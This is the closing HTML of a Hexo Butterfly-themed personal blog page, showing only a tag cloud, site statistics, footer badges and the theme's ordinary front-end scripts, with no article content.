rgb(138, 11, 192)">IoT</a><a href="/tags/Reverse/" style="font-size: 1.15em; color: rgb(105, 135, 190)">Reverse</a><a href="/tags/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/" style="font-size: 1.15em; color: rgb(63, 57, 39)">应急响应</a><a href="/tags/Crypto/" style="font-size: 1.15em; color: rgb(67, 177, 198)">Crypto</a><a href="/tags/HPC/" style="font-size: 1.15em; color: rgb(28, 80, 50)">HPC</a></div></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>Info</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">Article :</div><div class="item-count">17</div></div><div class="webinfo-item"><div class="item-name">Runtime :</div><div class="item-count" id="runtimeshow" data-publishDate="2024-07-27T04:00:00.000Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">Total Count :</div><div class="item-count">43.4k</div></div><div class="webinfo-item"><div class="item-name">UV :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">PV :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">Last Update :</div><div class="item-count" id="last-push-date" data-lastPushDate="2026-01-24T17:41:33.054Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">©2024 - 2026 By Cyr1s</div><div class="framework-info"><span>Framework </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>Theme </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div><div class="footer_custom_text">I wish you to become your own sun, no need to rely on who's light.<p><a target="_blank" href="https://hexo.io/"><img src="https://img.shields.io/badge/Frame-Hexo-blue?style=flat&logo=hexo" title="博客框架为Hexo"></a> <a target="_blank" href="https://butterfly.js.org/"><img src="https://img.shields.io/badge/Theme-Butterfly-6513df?style=flat&logo=bitdefender" title="主题采用butterfly"></a> <a target="_blank" href="https://www.jsdelivr.com/"><img src="https://img.shields.io/badge/CDN-jsDelivr-orange?style=flat&logo=jsDelivr" title="本站使用JsDelivr为静态资源提供CDN加速"></a> <a target="_blank" href="https://vercel.com/ "><img src="https://img.shields.io/badge/Hosted-Vervel-brightgreen?style=flat&logo=Vercel" title="本站采用双线部署，默认线路托管于Vercel"></a> <a target="_blank" href="https://github.com/"><img src="https://img.shields.io/badge/Source-Github-d021d6?style=flat&logo=GitHub" title="本站项目由Gtihub托管"></a> <a target="_blank" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img src="https://img.shields.io/badge/Copyright-BY--NC--SA%204.0-d42328?style=flat&logo=Claris" title="本站采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议进行许可"></a></p></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="Toggle Between Light And Dark Mode"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="Toggle between Single-column and Double-column"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside-config" type="button" title="Setting"><i class="fas fa-cog fa-spin"></i></button><button id="go-up" type="button" title="Back To Top"><span class="scroll-percent"></span><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js?v=4.13.0"></script><script src="/js/main.js?v=4.13.0"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.umd.min.js"></script><div class="js-pjax"></div><script defer src="/js/cursor.js"></script><!-- 嘉然 --><script src="https://cdn.jsdelivr.net/npm/greensock@1.20.2/dist/TweenLite.js"></script><script src="https://cubism.live2d.com/sdk-web/cubismcore/live2dcubismcore.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pixi.js@5.3.6/dist/pixi.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pixi-live2d-display@0.3.1/dist/cubism4.min.js"></script><link href="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio.css" rel="stylesheet" type="text/css"/><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio.js"></script><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio_sdk4.js"></script><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/load.js"></script><!-- 嘉然 --><!-- rightMenu --><script defer src="https://npm.elemecdn.com/jquery@latest/dist/jquery.min.js"></script><script defer data-pjax src="/js/rightMenu.js"></script><script async src="/js/console.js"></script><script src="/js/inject-scroll.js" type="text/javascript"></script><link rel="stylesheet" href="/css/APlayer.min.css" media="print" onload="this.media='all'"><script src="/js/APlayer.min.js"></script><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1.1.3/metingjs/dist/Meting.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pjax@0.2.8/pjax.min.js"></script><script>let pjaxSelectors = ["head > title","#config-diff","#body-wrap","#rightside-config-hide","#rightside-config-show",".js-pjax"]
var pjax = new Pjax({
elements: 'a:not([target="_blank"])',
selectors: pjaxSelectors,
cacheBust: false,
analytics: false,
scrollRestoration: false
})
document.addEventListener('pjax:send', function () {
// removeEventListener
btf.removeGlobalFnEvent('pjax')
btf.removeGlobalFnEvent('themeChange')
document.getElementById('rightside').classList.remove('rightside-show')
if (window.aplayers) {
for (let i = 0; i < window.aplayers.length; i++) {
if (!window.aplayers[i].options.fixed) {
window.aplayers[i].destroy()
}
}
}
typeof typed === 'object' && typed.destroy()
//reset readmode
const $bodyClassList = document.body.classList
$bodyClassList.contains('read-mode') && $bodyClassList.remove('read-mode')
typeof disqusjs === 'object' && disqusjs.destroy()
})
document.addEventListener('pjax:complete', function () {
window.refreshFn()
document.querySelectorAll('script[data-pjax]').forEach(item => {
const newScript = document.createElement('script')
const content = item.text || item.textContent || item.innerHTML || ""
Array.from(item.attributes).forEach(attr => newScript.setAttribute(attr.name, attr.value))
newScript.appendChild(document.createTextNode(content))
item.parentNode.replaceChild(newScript, item)
})
GLOBAL_CONFIG.islazyload && window.lazyLoadInstance.update()
typeof panguInit === 'function' && panguInit()
// google analytics
typeof gtag === 'function' && gtag('config', '', {'page_path': window.location.pathname});
// baidu analytics
typeof _hmt === 'object' && _hmt.push(['_trackPageview',window.location.pathname]);
typeof loadMeting === 'function' && document.getElementsByClassName('aplayer').length && loadMeting()
// prismjs
typeof Prism === 'object' && Prism.highlightAll()
})
document.addEventListener('pjax:error', e => {
if (e.request.status === 404) {
pjax.loadUrl('/404.html')
}
})</script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script><div id="algolia-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">Search</span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="search-wrap"><div id="algolia-search-input"></div><hr/><div id="algolia-search-results"><div id="algolia-hits"></div><div id="algolia-pagination"></div><div id="algolia-info"><div class="algolia-stats"></div><div class="algolia-poweredBy"></div></div></div></div></div><div id="search-mask"></div><script src="https://cdn.jsdelivr.net/npm/algoliasearch@4.22.1/dist/algoliasearch-lite.umd.min.js"></script><script src="https://cdn.jsdelivr.net/npm/instantsearch.js@4.65.0/dist/instantsearch.production.min.js"></script><script src="/js/search/algolia.js?v=4.13.0"></script></div></div><div id="nav-music"><div id="nav-music-hoverTips" onclick="triblade.musicToggle()">播放音乐</div><meting-js id="8152976493" server="netease" type="playlist" mutex="true" preload="none" theme="var(--triblade-main)" data-lrctype="0" order="random"></meting-js></div><div id="algolia-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">Search</span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="search-wrap"><div id="algolia-search-input"></div><hr/><div id="algolia-search-results"><div id="algolia-hits"></div><div id="algolia-pagination"></div><div id="algolia-info"><div class="algolia-stats"></div><div class="algolia-poweredBy"></div></div></div></div></div><div id="search-mask"></div><script src="https://cdn.jsdelivr.net/npm/algoliasearch@4.22.1/dist/algoliasearch-lite.umd.min.js"></script><script src="https://cdn.jsdelivr.net/npm/instantsearch.js@4.65.0/dist/instantsearch.production.min.js"></script><script src="/js/search/algolia.js?v=4.13.0"></script></div><div><script src="/js/utils.js?v=4.13.0"></script><script src="/js/main.js?v=4.13.0"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.umd.min.js"></script><div class="js-pjax"></div><script defer src="/js/cursor.js"></script><!-- 嘉然 --><script src="https://cdn.jsdelivr.net/npm/greensock@1.20.2/dist/TweenLite.js"></script><script src="https://cubism.live2d.com/sdk-web/cubismcore/live2dcubismcore.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pixi.js@5.3.6/dist/pixi.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pixi-live2d-display@0.3.1/dist/cubism4.min.js"></script><link href="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio.css" rel="stylesheet" type="text/css"/><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio.js"></script><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/pio_sdk4.js"></script><script src="https://cdn.jsdelivr.net/gh/journey-ad/blog-img@76ba2b3/live2d/lib/load.js"></script><!-- 嘉然 --><!-- rightMenu --><script defer src="https://npm.elemecdn.com/jquery@latest/dist/jquery.min.js"></script><script defer data-pjax src="/js/rightMenu.js"></script><script async src="/js/console.js"></script><script src="/js/inject-scroll.js" type="text/javascript"></script><link rel="stylesheet" href="/css/APlayer.min.css" media="print" onload="this.media='all'"><script src="/js/APlayer.min.js"></script><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1.1.3/metingjs/dist/Meting.min.js"></script><script src="https://cdn.jsdelivr.net/npm/pjax@0.2.8/pjax.min.js"></script><script>let pjaxSelectors = ["head > title","#config-diff","#body-wrap","#rightside-config-hide","#rightside-config-show",".js-pjax"]
var pjax = new Pjax({
elements: 'a:not([target="_blank"])',
selectors: pjaxSelectors,
cacheBust: false,
analytics: false,
scrollRestoration: false
})
document.addEventListener('pjax:send', function () {
// removeEventListener
btf.removeGlobalFnEvent('pjax')
btf.removeGlobalFnEvent('themeChange')
document.getElementById('rightside').classList.remove('rightside-show')
if (window.aplayers) {
for (let i = 0; i < window.aplayers.length; i++) {
if (!window.aplayers[i].options.fixed) {
window.aplayers[i].destroy()
}
}
}
typeof typed === 'object' && typed.destroy()
//reset readmode
const $bodyClassList = document.body.classList
$bodyClassList.contains('read-mode') && $bodyClassList.remove('read-mode')
typeof disqusjs === 'object' && disqusjs.destroy()
})
document.addEventListener('pjax:complete', function () {
window.refreshFn()
document.querySelectorAll('script[data-pjax]').forEach(item => {
const newScript = document.createElement('script')
const content = item.text || item.textContent || item.innerHTML || ""
Array.from(item.attributes).forEach(attr => newScript.setAttribute(attr.name, attr.value))
newScript.appendChild(document.createTextNode(content))
item.parentNode.replaceChild(newScript, item)
})
GLOBAL_CONFIG.islazyload && window.lazyLoadInstance.update()
typeof panguInit === 'function' && panguInit()
// google analytics
typeof gtag === 'function' && gtag('config', '', {'page_path': window.location.pathname});
// baidu analytics
typeof _hmt === 'object' && _hmt.push(['_trackPageview',window.location.pathname]);
typeof loadMeting === 'function' && document.getElementsByClassName('aplayer').length && loadMeting()
// prismjs
typeof Prism === 'object' && Prism.highlightAll()
})
document.addEventListener('pjax:error', e => {
if (e.request.status === 404) {
pjax.loadUrl('/404.html')
}
})</script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script><div id="algolia-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">Search</span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="search-wrap"><div id="algolia-search-input"></div><hr/><div id="algolia-search-results"><div id="algolia-hits"></div><div id="algolia-pagination"></div><div id="algolia-info"><div class="algolia-stats"></div><div class="algolia-poweredBy"></div></div></div></div></div><div id="search-mask"></div><script src="https://cdn.jsdelivr.net/npm/algoliasearch@4.22.1/dist/algoliasearch-lite.umd.min.js"></script><script src="https://cdn.jsdelivr.net/npm/instantsearch.js@4.65.0/dist/instantsearch.production.min.js"></script><script src="/js/search/algolia.js?v=4.13.0"></script></div></div><!-- hexo injector body_end start --><div class="js-pjax"><script async="async">var arr = document.getElementsByClassName('recent-post-item');
for(var i = 0;i<arr.length;i++){
arr[i].classList.add('wow');
arr[i].classList.add('animate__zoomIn');
arr[i].setAttribute('data-wow-duration', '2s');
arr[i].setAttribute('data-wow-delay', '1s');
arr[i].setAttribute('data-wow-offset', '100');
arr[i].setAttribute('data-wow-iteration', '2');
}</script><script async="async">var arr = document.getElementsByClassName('card-widget');
for(var i = 0;i<arr.length;i++){
arr[i].classList.add('wow');
arr[i].classList.add('animate__zoomIn');
arr[i].setAttribute('data-wow-duration', '');
arr[i].setAttribute('data-wow-delay', '');
arr[i].setAttribute('data-wow-offset', '');
arr[i].setAttribute('data-wow-iteration', '');
}</script></div><script defer src="https://npm.elemecdn.com/hexo-butterfly-wowjs/lib/wow.min.js"></script><script defer src="https://npm.elemecdn.com/hexo-butterfly-wowjs/lib/wow_init.js"></script><script async src="//at.alicdn.com/t/font_2032782_8d5kxvn09md.js"></script><!-- hexo injector body_end end --></body></html>